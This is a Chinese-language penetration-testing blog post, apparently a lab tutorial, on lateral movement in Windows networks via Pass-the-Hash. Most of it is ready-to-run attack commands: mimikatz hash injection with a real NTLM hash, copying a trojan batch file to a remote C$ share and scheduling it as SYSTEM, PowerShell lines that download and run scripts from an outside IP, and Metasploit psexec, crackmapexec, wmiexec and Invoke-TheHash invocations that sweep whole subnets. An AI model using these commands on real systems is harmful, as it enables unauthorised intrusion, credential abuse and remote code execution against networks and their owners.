橫向滲透之Pass The Hash

前言

在上一章總結(jié)了windows抓取hash的一些方式。在實際場景中,我們需要更快的擴(kuò)大戰(zhàn)果,獲取更多控制權(quán)限,以及定位域環(huán)境。

橫向滲透

橫向滲透:就是在得到一臺主機(jī)的控制權(quán)限后,將該主機(jī)作為突破口、跳板,利用既有的資源嘗試獲取更多的憑據(jù)、更高的權(quán)限,進(jìn)而達(dá)到控制整個內(nèi)網(wǎng)、擁有最高權(quán)限。

PTH原理

Pass The Hash 哈希傳遞簡稱PTH,可以在不需要明文密碼的情況下,利用LM HASH和NTLM HASH直接遠(yuǎn)程登錄。攻擊者不需要花費時間來對hash進(jìn)行爆破,在內(nèi)網(wǎng)滲透里非常經(jīng)典。
常常適用于域/工作組環(huán)境。

工作組環(huán)境

靶機(jī):windows server 2008
IP:10.211.55.19
domain:workgroup
user:administrator
pass:cseroad@2008
NTLM-Hash:82c58d8cec50de01fd109613369c158e

psexec 類工具

原理

psexec類工具大同小異,大部分工具都是通過psexec來執(zhí)行的。原理是:通過ipc$連接,將psexesvc.exe釋放到目標(biāo)機(jī)器,再通過服務(wù)管理SCManager遠(yuǎn)程創(chuàng)建psexecsvc服務(wù),并啟動服務(wù)。然后通過psexec服務(wù)運(yùn)行命令,運(yùn)行結(jié)束后刪除該服務(wù)。
如:Metasploit psexec,Impacket psexec,pth-winexe,Empire Invoke-Psexec
缺點:容易被殺軟檢測到
優(yōu)點:可以直接獲取system權(quán)限

工具

因為市面工具比較多,只kali就自帶有很多。所以這里以好用、批量為準(zhǔn)則選擇了幾款工具。

mimikatz

mimikatz中pth功能的原理:
windows會在lsass中緩存hash值,并使用它們來ntlm認(rèn)證,我們在lsass中添加包含目標(biāo)賬號hash的合法數(shù)據(jù)結(jié)構(gòu),就可以使用類似dir這些命令進(jìn)行認(rèn)證。
正常訪問server 2008 的盤符是需要用戶名密碼的。
在windows7上經(jīng)過pth之后就不需要密碼就可以遠(yuǎn)程連接。
將獲取的hash添加進(jìn)lsass中。
在windows 7 上執(zhí)行以下命令:

privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:82c58d8cec50de01fd109613369c158e
image.png

執(zhí)行后會彈出cmd。在cmd下執(zhí)行net use \\10.211.55.19\c$命令就可以遠(yuǎn)程連接。

image.png

擴(kuò)展:
假如我們繼續(xù)探測到10.211.55.8使用的是同一個hash值。我們嘗試使用遠(yuǎn)程共享c盤和schtasks 定時計劃任務(wù)執(zhí)行獲取一個session。

dir \\10.211.55.8\c$   查看目標(biāo)機(jī)器的c盤
copy powershell.bat  \\10.211.55.8\c$   將powershell.bat木馬復(fù)制到目標(biāo)機(jī)器上
schtasks /create /s 10.211.55.8 /tn test /sc onstart /tr c:\powershell.bat /ru system /f   
創(chuàng)建test計劃任務(wù),開機(jī)時啟動c盤下powershell.bat

powershell.bat為

powershell.exe  -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/a.ps1')"
image.png

當(dāng)重啟10.211.55.8機(jī)器后,metasploit可得到session

image.png
metasploit psexec

筆者經(jīng)常使用時的是這三個模塊

auxiliary/admin/smb/psexec_command       在目標(biāo)機(jī)器上執(zhí)行系統(tǒng)命令                   
exploit/windows/smb/psexec               用psexec執(zhí)行系統(tǒng)命令         
exploit/windows/smb/psexec_psh           使用powershell作為payload

以exploit/windows/smb/psexec模塊為例

use exploit/windows/smb/psexec
set rhosts 10.211.55.1/24
set smbuser administrator
set smbpass AAD3B435B51404EEAAD3B435B51404EE:82c58d8cec50de01fd109613369c158e
set smbdomain workgroup
run
image.png

值得一說的是smbpass配置項支持明文密碼也支持hash(LM-Hash:NTLM-Hash)

image.png

成功返回system權(quán)限。

CobalStrike

CobalStrike 同樣有psexec選項。
在得到一個beacon的基礎(chǔ)上,先在該網(wǎng)段portscan,探測存活主機(jī)后。
選擇View-->Target-->Login-->psexec,可批量選擇主機(jī)pth。

image.png
image.png

選擇pth的用戶名和hash值。

image.png

從執(zhí)行的命令看得出依然利用的mimikatz。執(zhí)行成功后返回system權(quán)限。

crackmapexec

該工具可以對C段主機(jī)批量pth。
項目在github
在kali上直接apt就可以安裝

apt-get install crackmapexec

對工作組批量pth命令如下

crackmapexec smb  IP -u user -H hash -d workdroup -x cmd
IP 可以是單個IP也可以是IP段
-u 指定用戶名
-H 指定hash
-d 指定域
-x 執(zhí)行系統(tǒng)命令
image.png

測試的時候發(fā)現(xiàn)某些命令執(zhí)行后沒有回顯。
更多資料參考:
CrackMapExec:域環(huán)境滲透中的瑞士軍刀
紅隊測試工具-CrackMapExec-遠(yuǎn)程執(zhí)行Windows命令

wmi 攻擊

wmi內(nèi)置在windows操作系統(tǒng),用于管理本地或遠(yuǎn)程的 Windows 系統(tǒng)。wmiexec是對windows自帶的wmic做了一些強(qiáng)化。攻擊者使用wmiexec來進(jìn)行攻擊時,不會記錄日志,不會寫入到磁盤,具有極高的隱蔽性。

  1. python 版本
    需要先下載impacket工具包
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install .

安裝成功后,切換到examples目錄下
運(yùn)行命令為

python wmiexec.py -hashes LM Hash:NT Hash 域名/用戶名@10.211.55.8 "ipconfig"
image.png
  1. exe 版本
    命令相似:
wmiexec.exe -hashes LM Hash:NT Hash 域名/用戶名@10.211.55.8 "ipconfig"
image.png
  1. powershell 版本
    使用命令為:
powershell -exec bypass
IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.129/Invoke-TheHash/Invoke-WMIExec.ps1');
IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.129/Invoke-TheHash/Invoke-TheHash.ps1');
Invoke-TheHash -Type WMIExec -Target 10.211.55.1/24 -Domain workgroup -Username administrator -Hash 82c58d8cec50de01fd109613369c158e

先加載Invoke-WMIExec.ps1腳本,再加載Invoke-TheHash.ps1腳本,因為Invoke-TheHash 里要用到 Invoke-WMIExec方法

image.png

如果要執(zhí)行系統(tǒng)命令。可以加-Command 參數(shù)

Invoke-TheHash -Type WMIExec -Target 10.211.55.8  -Domain workgroup -Username administrator -Hash 82c58d8cec50de01fd109613369c158e -Command "calc.exe" -verbose
image.png

執(zhí)行后該進(jìn)程會在后臺運(yùn)行,可以結(jié)合定時任務(wù)執(zhí)行嘗試反彈shell。

kb2871997 補(bǔ)丁

在測試中發(fā)現(xiàn),在打了kb2871997 這個補(bǔ)丁后,常規(guī)的Pass The Hash已經(jīng)無法成功,但默認(rèn)的Administrator(SID 500)賬號例外,利用這個賬號仍可以進(jìn)行Pass The Hash遠(yuǎn)程ipc連接。
以上所有操作均針對的SID 500。

參考資料

內(nèi)網(wǎng)滲透之PTH&PTT&PTK
橫向移動
丟掉PSEXEC來橫向滲透

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容